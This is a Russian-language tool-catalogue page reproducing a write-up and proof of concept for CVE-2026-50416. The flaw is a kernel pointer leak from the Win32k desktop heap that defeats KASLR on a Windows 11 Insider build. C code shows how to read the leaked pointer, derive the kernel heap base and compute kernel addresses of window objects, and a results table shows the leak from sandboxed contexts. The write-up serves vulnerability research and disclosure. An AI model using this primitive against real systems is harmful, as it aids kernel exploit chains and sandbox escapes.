Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-50416-writeup-and-poc — CVE-2026-50416: обход KASLR в Windows 11 | Kitploit
Инструменты/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
Фреймворки для эксплойтовКриминалистика памятиАнализ уязвимостейЭксплуатацияСбор информацииCTFАнализ Бинарных ФайловСтатьи и ИсследованияОбучение и Образование
Лаборатории и Практика
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: обход KASLR в Windows 11

РепозиторийСайт
445131 месяц назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-50416: Одно QWORD слишком много в desktop heap

В Windows 11 Insider сборке 10.0.28020.2149 пользовательское отображение Win32k desktop heap раскрывало необработанный указатель на пул ядра сессии по смещению 0x100.

Само чтение почти оскорбительно мало:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

В моей тестовой сессии это вернуло:

0xffffc600dcc00040

Значение оставалось одинаковым для всех процессов на одном рабочем столе и менялось после перезагрузки. Процесс, запущенный на другом рабочем столе, получал другое значение, поскольку у него был другой desktop heap. Из этого одного QWORD PoC восстановил базовый адрес kernel desktop heap, а затем использовал user32!gSharedInfo для получения адресов ядра живых объектов окон.

То же чтение работало из Low integrity, AppContainer, конфигурации LPAC с нулевыми возможностями и дочернего процесса Low integrity AppContainer с нулевыми возможностями.

Desktop heap должен быть общим. Указатель на ядро — нет.

Desktop heap из пользовательского режима

Win32k хранит объекты USER, такие как окна, меню, классы, хуки и связанные метаданные, в desktop heap. Каждый рабочий стол имеет свою собственную кучу. Часть этой кучи отображается в процессы, связанные с рабочим столом, чтобы пользовательский режим мог читать общее состояние GUI без запроса каждого поля у ядра.

В протестированной x64 сборке к отображению пользовательского режима можно получить доступ через клиентские данные текущего потока TEB:

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

Смещения зависят от сборки, но маршрут прост:

GS:[0x30]
    -> TEB
    -> ClientInfo по адресу TEB + 0x800
    -> ClientInfo[5]
    -> отображение desktop heap в пользовательском режиме

PoC вызывает VirtualQuery для возвращённого адреса и записывает отображённую область и её защиту. Пока ничего не пошло не так. Отображение desktop heap только для чтения — это нормальное поведение Win32k.

Проблема начинается через 256 байт.

Указатель по смещению 0x100

Основной PoC читает одно QWORD из отображённой кучи:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Значение прошло базовые проверки, ожидаемые для адреса виртуальной памяти ядра на тестируемой системе:

  • Канонические старшие биты
  • Выравнивание по восьми байтам
  • Не одно из известных сторожевых значений, отфильтрованных PoC
  • Стабильно при создании и уничтожении окон
  • Идентично в тестируемых процессах на одном рабочем столе
  • Отличается после перезагрузки
  • Отличается на другом рабочем столе

Тест стабильности создаёт окна STATIC, BUTTON и EDIT, читает значение до создания, читает его снова, пока окна существуют, уничтожает их и читает в третий раз.

ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

Все три чтения вернули одно и то же значение. Активность выделения окон не сдвинула его. Такое поведение согласуется с полем в метаданных desktop heap, а не с указателем на недолговечный объект.

Свойство межпроцессности не менее важно. Два процесса, прикреплённые к одному рабочему столу, наблюдают одно и то же утёкшее значение, потому что они смотрят на один и тот же desktop heap. После перезагрузки KASLR даёт сессии новый адрес. Дочерний процесс, помещённый на другой рабочий стол, наблюдает другой указатель, потому что этот рабочий стол владеет другой кучей.

Это придаёт утечке полезную идентичность:

та же загрузка + тот же рабочий стол      -> тот же указатель
та же загрузка + другой рабочий стол     -> другой указатель
новая загрузка                            -> другой указатель

Восстановление базового адреса kernel desktop heap

В протестированной сборке утёкший указатель находится на 0x40 байт выше базового адреса kernel desktop heap, используемого PoC:

ULONG64 kernel_desktop_heap_base = leaked - 0x40;

Используя записанное значение сессии:

утёкший указатель            = 0xffffc600dcc00040
базовый адрес kernel desktop heap = 0xffffc600dcc00000

Эта взаимосвязь зависит от сборки. Для сборки, использованной во время тестирования, она даёт якорь на стороне ядра, необходимый для следующего шага.

Один указатель уже полезен. Адрес выбранного объекта гораздо полезнее.

Разрешение объекта окна через gSharedInfo

user32.dll экспортирует gSharedInfo, который раскрывает список записей дескрипторов USER и размер каждой записи:

typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

HWND содержит индекс в таблице дескрипторов USER. PoC берёт младшие 16 бит дескриптора, переходит к соответствующей записи и читает хранящееся там смещение desktop heap.

ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

То же смещение называет объект в обоих отображениях:

BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

Итак, полный расчёт:

базовый адрес kernel desktop heap = desktop_heap[0x100] - 0x40
индекс дескриптора              = HWND & 0xffff
смещение в куче                = aheList[индекс дескриптора].offset
адрес окна в ядре              = базовый адрес kernel desktop heap + смещение в куче

PoC создаёт шесть классов окон и выполняет расчёт для каждого из них:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

Для каждого объекта он выводит HWND, индекс дескриптора, адрес объекта в пользовательском режиме, смещение в куче и адрес в ядре.

HWND
  -> младший 16-битный индекс дескриптора
  -> запись дескриптора gSharedInfo
  -> смещение в desktop heap
  -> базовый адрес kernel desktop heap + смещение
  -> адрес этого объекта окна в ядре

Это та часть, которая превращает раскрытие из свободного указателя ядра в оракул адресов для выбранных объектов USER в тестируемом desktop heap.

Почему тесты песочницы важны

Desktop heap поступает через общее отображение. Уровни целостности и ограничения AppContainer не переписывают содержимое этого отображения для каждого процесса. Если процесс получает desktop heap, он получает и QWORD по адресу 0x100.

PoC песочницы запускает дочерние процессы в нескольких контекстах и заставляет каждый дочерний процесс читать значение из собственного TEB и собственного отображения desktop heap.

КонтекстКонфигурацияРезультат
Medium integrityСтандартный пользовательский процессУтечка
Low integrityЦелостность токена понижена до LowУтечка
AppContainerНоль запрошенных возможностейУтечка
Конфигурация LPACПолитика отказа для всех пакетов приложений, ноль запрошенных возможностейУтечка
Low integrity AppContainerLow IL плюс AppContainer, ноль запрошенных возможностейУтечка
Альтернативный рабочий столДочерний процесс назначен на новый рабочий столУтечка другого значения
Скачать инструмент